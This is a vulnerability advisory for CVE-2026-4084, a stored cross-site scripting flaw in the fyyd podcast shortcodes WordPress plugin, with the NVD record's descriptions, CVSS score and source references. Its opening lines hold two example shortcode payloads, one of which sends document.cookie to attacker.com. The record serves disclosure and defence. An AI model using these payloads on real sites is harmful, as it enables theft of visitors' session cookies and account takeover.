CVE-2026-4084

[fyyd-podcast color='';alert(document.cookie);//'] [fyyd-episode podcast_id='';window.location='http://attacker.com/?c='+document.cookie;//']

{"cve": {"id": "CVE-2026-4084", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:40.810", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The fyyd podcast shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'fyyd-podcast', 'fyyd-episode', and 'fyyd' shortcodes in all versions up to, and including, 0.3.1. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'color', 'podcast_id', and 'podcast_slug'. These attributes are directly concatenated into inline JavaScript within single-quoted string arguments without any escaping or sanitization, allowing an attacker to break out of the JavaScript string context. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin de shortcodes fyyd podcast para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de los shortcodes 'fyyd-podcast', 'fyyd-episode' y 'fyyd' en todas las versiones hasta la 0.3.1, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en atributos de shortcode proporcionados por el usuario, como 'color', 'podcast_id' y 'podcast_slug'. Estos atributos se concatenan directamente en JavaScript en línea dentro de argumentos de cadena entre comillas simples sin ningún escape o sanitización, lo que permite a un atacante salir del contexto de cadena de JavaScript. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/tags/0.3.1/fyyd-podcast-shortcodes.php#L100", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/tags/0.3.1/fyyd-podcast-shortcodes.php#L141", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/tags/0.3.1/fyyd-podcast-shortcodes.php#L224", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/tags/0.3.1/fyyd-podcast-shortcodes.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/tags/0.3.1/fyyd-podcast-shortcodes.php#L60", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/tags/0.3.1/fyyd-podcast-shortcodes.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/trunk/fyyd-podcast-shortcodes.php#L100", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/trunk/fyyd-podcast-shortcodes.php#L141", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/trunk/fyyd-podcast-shortcodes.php#L224", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/trunk/fyyd-podcast-shortcodes.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/trunk/fyyd-podcast-shortcodes.php#L60", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fyyd-podcast-shortcodes/trunk/fyyd-podcast-shortcodes.php#L65", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3f9d57ae-b238-43db-8eee-ccab499b1cbc?source=cve", "source": "[email protected]"}]}}